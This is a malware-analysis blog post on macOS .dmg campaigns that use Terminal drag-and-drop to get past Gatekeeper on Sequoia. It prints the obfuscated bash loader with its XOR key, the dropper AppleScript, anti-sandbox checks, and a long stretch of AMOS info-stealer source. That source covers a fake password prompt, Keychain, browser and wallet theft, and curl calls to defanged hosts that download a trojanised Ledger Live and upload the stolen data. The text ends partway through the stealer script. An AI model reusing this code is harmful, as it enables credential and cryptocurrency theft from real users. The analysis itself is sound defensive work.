macOS DMG Malware
As macOS endpoint controls continue to evolve, adversaries are consistently adapting their TTPs to defeat Apple’s ever-changing security frameworks. Although .dmg files remain a popular initial access vector, the traditional “right-click and open” method has become largely ineffective—especially with the security enhancements introduced in macOS Sequoia.
This analysis delves into some contemporary disk-image malware campaigns, their execution primitives and obfuscation techniques.
The Demise of “Right-Click Open”⌗
The “right-click open” method of bypassing Gatekeeper, while helpful for a long time, has become less useful to attackers. With the advent of macOS Sequoia, Apple significantly tightened the Gatekeeper and notarization requirements. This has made it harder for unsigned or malicious applications to directly execute, even with a user’s explicit attempt to override built-in controls. While this is a positive step for overall security, it has pushed attackers to find new avenues for initial compromise.
Terminal Alias Attacks with Drag and Drop⌗
A notable contemporary trend observed in recent campaigns involves the abuse of Terminal aliases within .dmg files. Instead of a conventional application, the Disk Image presents a script designed to appear as an application or installer to fit the social-engineering pretext with instructions embedded in the background image which direct the user to drag and drop this item into a terminal window, launched from an included Terminal alias.

Crucially, this method bypasses the com.apple.quarantine extended attribute, as execution is initiated within a user’s shell, effectively masquerading as a legitimate user-driven command and leveraging the OS’s inherent trust in its own components.
Analysis⌗
I have analysed several samples employing similar techniques to achieve their objectives. These malicious disk images have a background that is visually identical but uses a random filename and have unique hashes across each analysed sample.
A fun easter egg, which was also observed by @L0Psec was the presence of /user/Downloads/infosec_hello/builder_cache/ in the .DS_Store file found in multiple samples - this suggests the samples are coming from the same source or at the very least the authors have a sense of humour.
The volumes contain, among other things, a bash script with a random file extension (though this is hidden) which is obfuscated using a combination of Base-64 encoding and XOR encryption and has an icon set to appear more like an application bundle.
#!/bin/bash
if false; then
WSJOuWAt() {
local var=590
return 0
}
echo 'DvIVxdMmzc'
kUhPvH=308
fi
AjzHKv() { echo "$1" | base64 --decode; }
rJBonihv='PqB9ERyjW1FQU1gGeCWnzhXqdg8m/HldfTlQXlJU8ek+mlwRJ6d1XXg2JiVSVIHiPpFqHiCfWENVIlMJUlSB4j6RdgshjXVPfTlcHE9QrP8TmnpXJ7d1V305XF'
# uGyPHrFIsc
tEenreNg='5SU'
yfUrQokJ='JL1FOtMHQandkNVIlACeXqR4hORclIGp3ZDVSJQFEFPkeITnn4eH/xhFE4mfhR6boK1FaB5DgypWENVIlMJf1+KsDSweQAM'
CNsqgnVl='jXZDVSJTCXh6lvItjn5XDIZTVHgmdQlBUKz/FqB6FyendU99OVwcT1Cs/xOYVwAMjXZDVSJTCVJUgeI+mnoXH6d1T305XBxSUI7zFbdqDySZAl5VIlgPeSX58SaBehAMp3UUfSZEG1h+geI+mnkADI12Q1UiUwlSVIHiPpp6HR+WZkN4JlQXQSWWtSWeVB0kt3UUfhhQBXpPjvc0sHkADI12Q1UiUwlSV'
# oJOeRSNBDI
VMvtTjEH='IHiPpp5AAyNdUh5Jn5eUl+K6RSebg8hj1hDVSJTCVJUgeI+mnkADI11SH4MQwl6QJnOPpp5AAyNdkNVIlACeXqR4hS0bhAfmXEUXwhTCVJUgukVtGkAIYZ9EV8IUwlSVIL1LbB6VxyWfUpGOUArek+O9z6eVB0MjX5NVSlAAUFA9M4+mnkADI12Q1UiUBdBT5K0FLQMLA'
nRlcYyIp='yNdkNVJkQbQVSC9S2+VwAMjXZDf1NEXlJQmvMVnmoLJqJ1THgmdQl/UPjiPrABMCf8TxV+NkQUV26J4j2welccln1KRjlAK3pPjvc+mmEADKcPTV8IUwlSVIL/LYFpAByWdVNIDFQaQUSCtRWgeQ4JokdSflMjLHhfge'
cqvRfnSd='w0sHkADI11XkY5QwlCT4LyIp5+VySNdRR+GFADeSW47i2B'
KRetwbFV='cjYclmVLVSJLCUJPgvIjtH4TH5'
ZvpYwJTq='9YQ1UiUw'
# vlWXbAIsUW
btGHTYpu='l4JZa1PpFqCyeWdWZ/KVA/Qk+S6j6RahEMjX5SeCYjGVduieI9sHoPJoZ1a0U2IwJYfoHiPpp6VyagXG9VIlMJUlSB4j6aegwnt3VefSZEHXlUgv8u6nIXJoZmQ1UPWBpSVPHoPppxAA+ndVx4NiteQUCR4i20AR4nnXV'
KjOMBPTq='SRghQXkFA8fImgXoQEIlxFH0gfQlSVIHiLY4NDAyGZV15MH0JUlSB4hORclIGp3ZDVSJTCVJUgeItngAAJvxfSH4mZQl4JY78FoF6VwyNfU5/IlMHUlSZ4hSB'
ufhwzQUf='bhEhiWFPVSZIGHh68OIV62EAHJZ1U0kmVF56VIHoPppxAAyndklVKVRfeSSS6S2aegon/X1QVSYrA1JfkukVgXolJoZ1dUU5QAFYfoHiPpp6CyejZkN4KVhbWH6B4j6ae'
# HsHAHgIGyc
tkTgBKmY='lcmoFxvVSJTCVJUgeI+mno'
hZjzdwWI='MJ7d1Xn0mRB15VIL/LupyFyaGZkNVD3oGf1+S/D6aCQ0MjX5DVghQFn9A+bUtjmk'
# jmMXgLrBSk
soUxZbYg='AH6MOXX4yUBhBfoK1LY4JEBSWdVNJJlReelav4j6aeQAfmQJPVSl'
# IjhVYpOxFB
RdSkwwyS='AF35Gr+I+mnkAIYZ9EV8IUwlSVIHiPpp5AB+JD0N/U3oCeVC34hTrdh4klnUUVSJYBHpQ8fMtmnkVII12'
# BzyqVRIGmD
vTPHnTxl='TVUiSwl4T5bzE55uDAyJbVJ/DCIJeSWZ4hOebhMmi3FTfydQBn9Qp84+mnkADIlhUUYiUF54eavOPpp5AA'
WtrrFyDw='yGZV15MH0JUlSB'
# ncdaYCwnjN
hFuEiAmN='4j6aeQAMiWVSVSlcAUFAuPY+kXYNJqNbU3giUBZ/QPm1LY5pAB+jDl1+MlAYQX6CtS2OCRAUlnVTSSZU'
ntQVUHjb='XnpWr+I+mnkAH5kCT1UpQBd+RrDpFbRpACagYVFWFi9T'
# jacxRqlABp
MQnWEy="${rJBonihv}${tEenreNg}${yfUrQokJ}${CNsqgnVl}${VMvtTjEH}${nRlcYyIp}${cqvRfnSd}${KRetwbFV}${ZvpYwJTq}${btGHTYpu}${KjOMBPTq}${ufhwzQUf}${tkTgBKmY}${hZjzdwWI}${soUxZbYg}${RdSkwwyS}${vTPHnTxl}${WtrrFyDw}${hFuEiAmN}${ntQVUHjb}"
CnLWra=$(echo "$MQnWEy" | base64 --decode | perl -e 'my $key = pack("H*", "77d9386745ce37241c61126e1b17c085"); my $data = do { local $/; <STDIN> }; my $k = length($key); for(my $i=0; $i < length($data); $i++){ print chr( ord(substr($data, $i, 1)) ^ ord(substr($key, $i % $k, 1)) ); }')
PSOUsK=$(AjzHKv "$CnLWra")
eval "$PSOUsK"
Once executed, the bash script decrypts and unpacks itself to reveal an AppleScript.
# !/bin/bash
osascript -e on run
try
set diskList to list disks
end try
set targetDisk to ""
try
repeat with disk in diskList
if disk contains "ZoomApp" then
set targetDisk to disk
exit repeat
end if
end repeat
end try
if targetDisk is "" then
return
end if
set folderPath to "/Volumes/" & targetDisk & "/" set appName to ".ZoomApp"
set appath to folderPath & appName
set tempAppPath to "/tmp/" & appName
try
do shell script "rm -f" & quoted form of tempAppPath
end try
try
do shell script "cp" & quoted form of appPath & " " & quoted form of tempAppPath
end try
try
do shell script "xattr -c" & quoted form of tempAppPath
end try
try
do shell script "chmod +x" & quoted form of tempAppPath
end try
try
do shell script quoted form of tempAppPath
end try
end run'
The AppleScript’s purpose is to copy a hidden binary to a location on disk and execute it. After copying, the AppleScript clears all extended attributes using xattr -c, sets the execute bit using chmod +x, and then runs the binary. This approach, leveraging native macOS scripting capabilities and script obfuscation, allows the malware to circumvent many traditional detection mechanisms and execute its payload while remaining reasonably stealthy.
The use of /tmp as a destination for the payload means the binary will be automatically purged from the filesystem as this directory is cleaned up daily at midnight by /usr/libexec/tmp_cleaner.
Running file on the target binary we can clearly see it is a Universal macOS binary.
.ZoomApp: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit executable x86_64] [arm64:Mach-O 64-bit executable arm64]
.ZoomApp (for architecture x86_64): Mach-O 64-bit executable x86_64
.ZoomApp (for architecture arm64): Mach-O 64-bit executable arm64
Beyond this point, the behaviour of the executed binary may vary, but the preceding steps have been consistently observed across multiple malware samples as a means of circumventing Gatekeeper and achieving code execution on macOS Sequoia.
When run, the binary initially performs some anti-sandbox checks via another AppleScript by checking for the presence of common hypervisor names (by searching the output of system_profiler SPMemoryDataType) and what may be the serial numbers of known analysis sandboxes (by searching the output of system_profiler SPHardwareDataType), if found the script returns an exit code of 42 otherwise it returns an exit code of 0.
set memData to do shell script "system_profiler SPMemoryDataType"
set hardwareData to do shell script "system_profiler SPHardwareDataType"
if memData contains "QEMU" or memData contains "VMware" or hardwareData contains "C07T508TG1J2" or hardwareData contains "C02TM2ZBHX87" then
do shell script "exit 42"
else
do shell script "exit 0"
end if
If the anti-sandbox checks pass, the payload execution continues with actual AMOS info-stealer beahviour, once again executed by passing the script as an argument to osascript -e
#!/usr/bin/osascript
set release to true
set filegrabbers to true
tell application "Terminal" to set visible of the front window to false
on filesizer(paths)
set fsz to 0
try
set theItem to quoted form of POSIX path of paths
set fsz to (do shell script "/usr/bin/mdls -name kMDItemFSSize -raw " & theItem)
end try
return fsz
end filesizer
on mkdir(someItem)
try
set filePosixPath to quoted form of (POSIX path of someItem)
do shell script "mkdir -p " & filePosixPath
end try
end mkdir
on FileName(filePath)
try
set reversedPath to (reverse of every character of filePath) as string
set trimmedPath to text 1 thru ((offset of "/" in reversedPath) - 1) of reversedPath
set finalPath to (reverse of every character of trimmedPath) as string
return finalPath
end try
end FileName
on BeforeFileName(filePath)
try
set lastSlash to offset of "/" in (reverse of every character of filePath) as string
set trimmedPath to text 1 thru -(lastSlash + 1) of filePath
return trimmedPath
end try
end BeforeFileName
on writeText(textToWrite, filePath)
try
set folderPath to BeforeFileName(filePath)
mkdir(folderPath)
set fileRef to (open for access filePath with write permission)
write textToWrite to fileRef starting at eof
close access fileRef
end try
end writeText
on readwrite(path_to_file, path_as_save)
try
set fileContent to read path_to_file
set folderPath to BeforeFileName(path_as_save)
mkdir(folderPath)
do shell script "cat " & quoted form of path_to_file & " > " & quoted form of path_as_save
end try
end readwrite
on readwrite2(path_to_file, path_as_save)
try
set folderPath to do shell script "dirname " & quoted form of path_as_save
mkdir(folderPath)
tell application "Finder"
set sourceFile to POSIX file path_to_file as alias
set destinationFolder to POSIX file folderPath as alias
duplicate sourceFile to destinationFolder with replacing
end tell
end try
end readwrite2
on replaceApp(pr, pass)
try
set appPath to "/Applications/Ledger Live.app"
list folder POSIX file appPath
set filePath to pr & "/.private"
do shell script "rm -f " & quoted form of filePath
writeText("user1", pr & "/.private")
do shell script "curl hXXps[://]isnimitz[.]com/zxc/app[.]zip -o /tmp/app.zip"
try
do shell script "pkill \"Ledger Live\""
end try
do shell script "echo " & quoted form of pass & " | sudo -S rm -r " & quoted form of appPath
delay 1
do shell script "unzip /tmp/app.zip -d /Applications"
delay 1
do shell script "rm /tmp/app.zip"
end try
end replaceApp
on isDirectory(someItem)
try
set filePosixPath to quoted form of (POSIX path of someItem)
set fileType to (do shell script "file -b " & filePosixPath)
if fileType ends with "directory" then
return true
end if
return false
end try
end isDirectory
on GrabFolderLimit(sourceFolder, destinationFolder)
try
set bankSize to 0
set exceptionsList to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews"}
set fileList to list folder sourceFolder without invisibles
mkdir(destinationFolder)
repeat with currentItem in fileList
if currentItem is not in exceptionsList then
set itemPath to sourceFolder & "/" & currentItem
set savePath to destinationFolder & "/" & currentItem
if isDirectory(itemPath) then
GrabFolderLimit(itemPath, savePath)
else
set fsz to filesizer(itemPath)
set bankSize to bankSize + fsz
if bankSize < 10 * 1024 * 1024 then
readwrite(itemPath, savePath)
end if
end if
end if
end repeat
end try
end GrabFolderLimit
on GrabFolder(sourceFolder, destinationFolder)
try
set exceptionsList to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews", "dumps", "emoji", "user_data", "__update__", "user_data#2", "user_data#3"}
set fileList to list folder sourceFolder without invisibles
mkdir(destinationFolder)
repeat with currentItem in fileList
if currentItem is not in exceptionsList then
set itemPath to sourceFolder & "/" & currentItem
set savePath to destinationFolder & "/" & currentItem
if isDirectory(itemPath) then
GrabFolder(itemPath, savePath)
else
readwrite(itemPath, savePath)
end if
end if
end repeat
end try
end GrabFolder
on parseFF(firefox, writemind)
try
set myFiles to {"/cookies.sqlite", "/formhistory.sqlite", "/key4.db", "/logins.json"}
set fileList to list folder firefox without invisibles
repeat with currentItem in fileList
set fpath to writemind & "ff/" & currentItem
set readpath to firefox & currentItem
repeat with FFile in myFiles
readwrite(readpath & FFile, fpath & FFile)
end repeat
end repeat
end try
end parseFF
on checkvalid(username, password_entered)
try
set result to do shell script "dscl. authonly " & quoted form of username & space & quoted form of password_entered
if result is not equal to "" then
return false
else
return true
end if
on error
return false
end try
end checkvalid
on getpwd(username, writemind)
try
if checkvalid(username, "") then
set result to do shell script "security 2>&1 > /dev/null find-generic-password -ga \"Chrome\" | awk \"{print $2}\""
writeText(result as string, writemind & "masterpass-chrome")
else
repeat
set result to display dialog "Required Application Helper.Please enter password for continue." default answer "" with icon caution buttons {"Continue"} default button "Continue" giving up after 150 with title "System Preferences" with hidden answers
set password_entered to text returned of result
if checkvalid(username, password_entered) then
writeText(password_entered, writemind & "pwd")
return password_entered
end if
end repeat
end if
on error errMsg
set password_entered to getpwd(username, writemind)
end try
return ""
end getpwd
on grabPlugins(profilepath, paths, savePath, pluginList, index)
try
set fileList to list folder paths without invisibles
repeat with PFile in fileList
repeat with Plugin in pluginList
if (PFile contains Plugin) then
set newpath to paths & PFile
set newsavepath to savePath & "/" & Plugin
if index then
set newsavepath to newsavepath & "/IndexedDB/"
end if
GrabFolder(newpath, newsavepath)
GrabFolder(profilepath & "/Local Storage/leveldb/", savePath & "/Local Storage/")
end if
end repeat
end repeat
end try
end grabPlugins
on chromium(writemind, chromium_map)
set pluginList to {"ppdadbejkmjnefldpcdjhnkpbjkikoip", "ppbibelpcjmhbdihakflkdcoccbgbkpo", "pocmplpaccanhmnllbbkpgfliimjljgo", "pnndplcbkakcplkjnolgbkdgjikjednm", "pnlccmojcmeohlpggmfnbbiapkmbliob", "phkbamefinggmakgklpkljjmgibohnba", "pgiaagfkgcbnmiiolekcfmljdagdhlcm", "pdadjkfkgcafgbceimcpbkalnfnepbnk", "pcndjhkinnkaohffealmlmhaepkpmgkb", "papngmkmknnmfhabbckobgfpihpdgplk", "panpgppehdchfphcigocleabcmcgfoca", "opfgelmcmbiajamepnmloijbpoleiama", "opcgpfmipidbgpenhmajoajpbobppdil", "ookjlbkiijinhpmnjffcofjonbfbgaoc", "onhogfjeacnfoofkfgppdlbmlmnplgbn", "omaabbefbmiijedngplfjmnooppbclkk", "ojggmchlghnjlapmfbnjholfjkiidbch", "ojbcfhjmpigfobfclfflafhblgemeidi", "ocjobpilfplciaddcbafabcegbilnbnb", "oboonakemofpalcgghocfoadofidjkkk", "oafedfoadhdjjcipmcbecikgokpaphjk", "nphplpgoakhhjchkkhmiggakijnkhfnd", "nopnfnlbinpfoihclomelncopjiioain", "nngceckbapebfimnlniiiahkandclblb", "nlgnepoeokdfodgjkjiblkadkjbdfmgd", "nlgbhdfgdhgbiamfdfmbikcdghidoadd", "nknhiehlklippafakaeklbeglecifhad", "nkbihfbeogaeaoehlefnkodbefgpgknn", "nhnkbkgjikgcigadomkphalanndcapjk", "nhlnehondigmgckngjomcpcefcdplmgc", "nhbicdelgedinnbcidconlnfeionhbml", "nbdpmlhambbdkhkmbfpljckjcmgibalo", "nbdhibgjnjpnkajaghbffjbkcgljfgdi", "naepdomgkenhinolocfifgehidddafch", "mnfifefkajgofkcjkemidiaecocnkjeh", "mmmjbcfofconkannjonfmjjajpllddbg", "mmhlniccooihdimnnjhamobppdhaolme", "mmclamjkknobggpiohfneimmnlggagok", "mjgkpalnahacmhkikiommfiomhjipgjn", "mgffkfbidihjpoaomajlbgchddlicgpn", "mfhbebgoclkghebffdldpobeajmbecfk", "mfgccjchihfkkindfppnaooecgfneiii", "mdjmfdffdcmnoblignmgpommbefadffd", "mcohilncbfahbmgdjkbpemcciiolgcge", "mapbhaebnddapnmifbbkgeedkeplgjmf", "lpilbniiabackdjcionkobglmddfbcjo", "lpfcbjknijpeeillifnkikgncikgfhdo", "loinekcabhlmhjjbocijdoimmejangoa", "lmkncnlpeipongihbffpljgehamdebgi", "lgmpcpglpngdoalbgeoldeajfclnhafa", "lgbjhdkjmpgjgcbcdlhkokkckpjmedgc", "ldinpeekobnhjjdofggfgjlcehhmanlj", "lcmncloheoekhbmljjlhdlaobkedjbgd", "lccbohhgfkdikahanoclbdmaolidjdfl", "kncchdigobghenbbaddojjnnaogfppfj", "kmhcihpebfmpgmihbkipmjlmmioameka", "kmcfomidfpdkfieipokbalgegidffkal", "klnaejjgbibmhlephnhpmaofohgkpgkd", "klghhnkeealcohjjanjjdaeeggmfmlpl", "kkpllkodjeloidieedojogacfhpaihoh", "kkpllbgjhchghjapjbinnoddmciocphm", "kkilomkmpmkbdnfelcpgckmpcaemjcdh", "kilnpioakcdndlodeeceffgjdpojajlo", "khpkpbbcccdmmclmpigdgddabeilkdpd", "kglcipoddmbniebnibibkghfijekllbl", "kfdniefadaanbjodldohaedphafoffoh", "keenhcnmdmjjhincpilijphpiohdppno", "kbdcddcmgoplfockflacnnefaehaiocb", "jojhfeoedkpkglbfimdfabpdfjaoolaf", "jnmbobjmhlngoefaiojfljckilhhlhcj", "jnlgamecbpmbajjfhmmmlhejkemejdma", "jnldfbidonfeldmalbflbmlebbipcnle", "jnkelfanjkeadonecabehalmbgpfodjm", "jkoeaghipilijlahjplgbfiocjhldnap", "jkjgekcefbkpogohigkgooodolhdgcda", "jiidiaalihmmhddjgbnbgdfflelocpak", "jiepnaheligkibgcjgjepjfppgbcghmp", "jhfjfclepacoldmjmkmdlmganfaalklb", "jgnfghanfbjmimbdmnjfofnbcgpkbegj", "jfmajkmgjpjognffefopllhaijknhnmm", "jcacnejopjdphbnjgfaaobbfafkihpep", "jbppfhkifinbpinekbahmdomhlaidhfm", "jblndlipeogpafnldhgmapagcccfchpi", "jbkgjmpfammbgejcpedggoefddacbdia", "iokeahhehimjnekafflcihljlcjccdbe", "inlkhilmjmjomfcpdifpfgllhhlpnbej", "ilhaljfiglknggcoegeknjghdgampffk", "igkpcodhieompeloncfnbekccinhapdb", "ifckdpamphokdglkkdomedpdegcjhjdp", "idnnbdplmphpflfnlkomgpfbpcgelopg", "icpikagpkkbldbfjlbefnmmmcohbjije", "icblpoalghoakidcjiheabnkijnklhhe", "ibnejdfjmmkpcnlpebklmnkoeoihofec", "hpclkefagolihohboafpheddmmgdffjm", "hpbgcgmiemanfelegbndmhieiigkackl", "hnfanknocfeofbddgcijnmhnfnkdnaad", "hmeobnfnfcmdkdcmlblgagmfpfboieaf", "hifafgmccdpekplomjjkcfgodnhcellj", "hdokiejnpimakedhajhdlcegeplioahd", "hbbgbephgojikajhfbomhlmmollphcad", "gpnihlnnodeiiaakbikldcihojploeca", "gkeelndblnomfmjnophbhfhcjbcnemka", "gjlmehlldlphhljhpnlddaodbjjcchai", "gjkdbeaiifkpoencioahhcilildpjhgh", "gjagmgiddbbciopjhllkdnddhcglnemk", "ginchbkmljhldofnbjabmeophlhdldgp", "ghlmndacnhlaekppcllcpcjjjomjkjpg", "gdokollfhmnbfckbobkdbakhilldkhcj", "gbjepgaebckfidagpfeioimheabiohmg", "gafhhkghbfjjkeiendhlofajokpaflmk", "gadbifgblmedliakbceidegloehmffic", "fpkhgmpbidmiogeglndfbkegfdlnajnf", "fpibioaihcagphbidhodidjbnclocgll", "fopmedgnkfpebgllppeddmmochcookhc", "fnjhmkhhmkbjkkabndcnnogagogbneec", "fmhmiaejopepamlcjkncpgpdjichnecm", "fmblappgoiilbgafhjklehhfifbdocee", "flpiciilemghbmfalicajoolhkkenfel", "fijngjgcjhjmmpcmkeiomlglpeiijkld", "fiikommddbeccaoicoejoniammnalkfa", "fhilaheimglignddkjgofkcbgekhenbh", "fhbohimaelbohpjbbldcngcnapndodjp", "fghhpjoffbgecjikiipbkpdakfmkbmig", "ffnbelfdoeiohenkjibnmadjiehjhajb", "fcfcfllfndlomdhbehjjcoimbgofdncg", "fcckkdbjnoikooededlapcalpionmalo", "epapihdplajcdnnkdeiahlgigofloibg", "eomhlheglneofffmbfjflldlbcnhpkpb", "eokbbaidfgdndnljmffldfgjklpjkdoi", "enabgbdfcbaehmbigakijjabdpdnimlg", "emeeapjkbcbpbpgaagfchmcgglmebnen", "elalghlhoepcjfaedkcmjolahamlnjcp", "ejjladinnckdgjemekebdpeokbikhfci", "einnioafmpimabjcddiinlhmijaionap", "egjidjbpglichdcondbcbdnbeeppgdph", "efbglgofoippbgcjepnhiblaibcnclgk", "ebfidpplhabeedpnhjnobghokpiioolj", "eamiofncoknfkefhlkdblngblpffehek", "eajafomhmkipbjmfmhebemolkcicgfmd", "dphoaaiomekdhacmfoblfblmncpnbahm", "dngmlblcodfobpdpecaadgfbcggfjfnm", "dmkamcknogkgcdfhhbddcghachkejeap", "dldjpboieedgcmpkchcjcbijingjcgok", "dlcobpjiigpikoobohmabehhmhfoodbb", "dkdedlpgdmmkkfjabffeganieamfklkm", "dbgnhckhnppddckangcjbkjnlddbjkna", "cpmkedoipcpimgecpmgpldfpohjplkpp", "cphhlgmgameodnhkjdmkpanlelnlohao", "copjnifcecdedocejpaapepagaodgpbh", "cnncmdhjacpkmjmkcafchppbnpnhdmon", "cnmamaachppnkjgnildpdmkaakejnhae", "cmndjbecilbocjfkibfbifhngkdmjgog", "ckklhkaabbmdjkahiaaplikpdddkenic", "cjmkndjhnagcfbpiemnkdpomccnjblmj", "cihmoadaighcejopammfbmddcmdekcje", "chgfefjpcobfbnpmiokfjjaglahmnded", "cgeeodpfagjceefieflmdfphplkenlfk", "cflgahhmjlmnjbikhakapcfkpbcmllam", "cfbfdhimifdmdehjmkdobpcjfefblkjm", "caljgklbbfbcjjanaijlacgncafpegll", "bopcbmipnjdcdfflfgjdgdjejmgpoaab", "bofddndhbegljegmpmnlbhcejofmjgbn", "bocpokimicclpaiekenaeelehdjllofo", "bmikpgodpkclnkgmnpphehdgcimmided", "bmabahhenimmnfijaiccmonalfhpcndh", "bkklifkecemccedpkhcebagjpehhabfb", "bkgplkpdgidlgmnlhdfakhcjfpfgjjkb", "bifidjkcdpgfnlbcjpdkdcnbiooooblg", "bhhhlbepdkbapadjdnnojkbgioiodbic", "bhghoamapcdpbohphigoooaddinpkbai", "bgpipimickeadkjlklgciifhnalhdjhe", "bgjogpoidejdemgoochpnkmdjpocgkha", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "bcopgchhojmggmffilplmbdicgaihlkp", "apnehcjmnengpnmccpaibjmhhoadaico", "anokgmphncpekkhclmingpimjmcooifb", "amkmjjmmflddogmhpjloimipbofnfjih", "algblmhagnobbnmakepomicmfljlbehg", "ajopcimklncnhjednieoejhkffdolemp", "ajkifnllfhikkjbjopkhmjoieikeihjb", "aijcbedoijmgnlmjeegjaglmepbmpkpi", "aiifbnbfobpmeekipheeijimdpnlpgpp", "aiaghdjafpiofpainifbgfgjfpclngoh", "aholpfdialjgjfhomihkjbmgjidlcdno", "ahidmapichficbkfglbhgmhjcojjmlnm", "agoakfejjabomempkjlepdflaleeobhb", "aflkmfhebedbjioipglgcbcmnbpgliof", "afbcbjpbpfadlkmhmclhkeeodmamcflc", "aeachknmefphepccionboohckonoeemg", "admmjipmmciaobhojoghlmleefbicajg", "acmacodkjbdgmoleebolmdjonilkdbch", "abogmiocnneedmmepnohnhlijcjpcifd", "abjfbanhppgiflmobebfffbijcfoeiao", "abamjefkidngfegdjbmffdmbgjgpaobf"}
set chromiumFiles to {"/Network/Cookies", "/Cookies", "/Web Data", "/Login Data", "/Local Extension Settings/", "/IndexedDB/"}
repeat with chromium in chromium_map
set savePath to writemind & "Chromium/" & item 1 of chromium & "_"
try
set fileList to list folder item 2 of chromium without invisibles
repeat with currentItem in fileList
if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
repeat with CFile in chromiumFiles
set readpath to (item 2 of chromium & currentItem & CFile)
set profilepath to (item 2 of chromium & currentItem)
if ((CFile as string) is equal to "/Network/Cookies") then
set CFile to "/Cookies"
end if
if ((CFile as string) is equal to "/Local Extension Settings/") then
grabPlugins(profilepath, readpath, savePath & currentItem, pluginList, false)
else if (CFile as string) is equal to "/IndexedDB/" then
grabPlugins(profilepath, readpath, savePath & currentItem, pluginList, true)
else
set writepath to savePath & currentItem & CFile
readwrite(readpath, writepath)
end if
end repeat
end if
end repeat
end try
end repeat
end chromium
on telegram(writemind, library)
try
GrabFolder(library & "Telegram Desktop/tdata/", writemind & "Telegram Data/")
end try
end telegram
on deskwallets(writemind, deskwals)
repeat with deskwal in deskwals
try
GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal)
end try
end repeat
end deskwallets
on filegrabber(writemind)
try
set destinationFolderPath to POSIX file (writemind & "FileGrabber/")
mkdir(destinationFolderPath)
set photosPath to POSIX file (writemind & "FileGrabber/NotesFiles/")
mkdir(photosPath)
set extensionsList to {"txt", "pdf", "docx", "wallet", "key", "keys", "doc", "json", "db"}
set bankSize to 0
tell application "Finder"
try
set safariFolderPath to (path to home folder as text) & "Library:Cookies:"
duplicate file (safariFolderPath & "Cookies.binarycookies") to folder destinationFolderPath with replacing
set name of result to "saf1"
end try
try
set safariFolder to ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:")
try
duplicate file "Cookies.binarycookies" of folder safariFolder to folder destinationFolderPath with replacing
end try
set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"
set notesAccounts to folder (notesFolderPath & "Accounts:LocalAccount:Media")
duplicate notesAccounts to photosPath with replacing
duplicate notesAccounts to POSIX file photosPath as alias with replacing
set notesFolder to folder notesFolderPath
set notesFiles to {"NoteStore.sqlite", "NoteStore.sqlite-shm", "NoteStore.sqlite-wal"}
repeat with FileName in notesFiles
set sourceFile to file FileName of notesFolder
duplicate sourceFile to POSIX file destinationFolderPath as alias with replacing
end repeat
end try
try
set desktopFiles to every file of desktop
set documentsFiles to every file of folder "Documents" of (path to home folder)
set downloadsFiles to every file of folder "Downloads" of (path to home folder)
repeat with aFile in (desktopFiles & documentsFiles & downloadsFiles)
set fileExtension to name extension of aFile
if fileExtension is in extensionsList then
set filesize to size of aFile
if filesize < 5 * 1024 * 1024 then
if (bankSize + filesize) < 30 * 1024 * 1024 then
try
duplicate aFile to folder destinationFolderPath with replacing
set bankSize to bankSize + filesize
end try
else
exit repeat
end if
end if
end if
end repeat
end try
end tell
end try
end filegrabber
on send_data(attempt)
try
set result_send to (do shell script "curl -X POST -H \"user: lOB/Sr-rZkvXS1kRcNiQH6jzN84KqK4S9GTaMjBBwlc=\" -H \"BuildID: kP8zZ/UmfOqmDjnUnV13Pi1mT32vvgsUtsZWcCzlyq0=\" -H \"cl: 0\" -H \"cn: 0\" -F \"file=@/tmp/out.zip\" hXXp[://]45[.]94[.]47[.]112/contact")
on error
if attempt < 15 then
delay 60
send_data(attempt + 1)
end if
end try
end send_data
set username to (system attribute "USER")
set profile to "/Users/" & username
set randomNumber to do shell script "echo $((RANDOM % 9000 + 1000))"
set writemind to "/tmp/" & randomNumber & "/"
try
set result to (do shell script "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType")
writeText(result, writemind & "info")
end try
set library to profile & "/Library/Application Support/"
try
set passwordFile to "/tmp/.pass"
set passwordContent to do shell script "cat " & quoted form of passwordFile
if checkvalid(username, passwordContent) then
writeText(passwordContent, writemind & "pwd")
set password_entered to passwordContent
else
set password_entered to getpwd(username, writemind)
end if
on error errMsg
set password_entered to getpwd(username, writemind)
end try
delay 0.5
set chromiumMap to {{"Chrome", library & "Google/Chrome/"}, {"Brave", library & "BraveSoftware/Brave-Browser/"}, {"Edge", library & "Microsoft Edge/"}, {"Vivaldi", library & "Vivaldi/"}, {"Opera", library & "com.operasoftware.Opera/"}, {"OperaGX", library & "com.operasoftware.OperaGX/"}, {"Chrome Beta", library & "Google/Chrome Beta/"}, {"Chrome Canary", library & "Google/Chrome Canary"}, {"Chromium", library & "Chromium/"}, {"Chrome Dev", library & "Google/Chrome Dev/"}, {"Arc", library & "Arc/"}, {"Coccoc", library & "Coccoc/"}}
set walletMap to {{"deskwallets/Electrum", profile & "/.electrum/wallets/"}, {"deskwallets/Coinomi", library & "Coinomi/wallets/"}, {"deskwallets/Exodus", library & "Exodus/"}, {"deskwallets/Atomic", library & "atomic/Local Storage/leveldb/"}, {"deskwallets/Wasabi", profile & "/.walletwasabi/client/Wallets/"}, {"deskwallets/Ledger_Live", library & "Ledger Live/"}, {"deskwallets/Monero", profile & "/Monero/wallets/"}, {"deskwallets/Bitcoin_Core", library & "Bitcoin/wallets/"}, {"deskwallets/Litecoin_Core", library & "Litecoin/wallets/"}, {"deskwallets/Dash_Core", library & "DashCore/wallets/"}, {"deskwallets/Electrum_LTC", profile & "/.electrum-ltc/wallets/"}, {"deskwallets/Electron_Cash", profile & "/.electron-cash/wallets/"}, {"deskwallets/Guarda", library & "Guarda/"}, {"deskwallets/Dogecoin_Core", library & "Dogecoin/wallets/"}, {"deskwallets/Trezor_Suite", library & "@trezor/suite-desktop/"}}
readwrite(library & "Binance/app-store.json", writemind & "deskwallets/Binance/app-store.json")
readwrite(library & "@tonkeeper/desktop/config.json", "deskwallets/TonKeeper/config.json")
readwrite(profile & "/Library/Keychains/login.keychain-db", writemind & "keychain")
if release then
readwrite2(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite", writemind & "FileGrabber/NoteStore.sqlite")
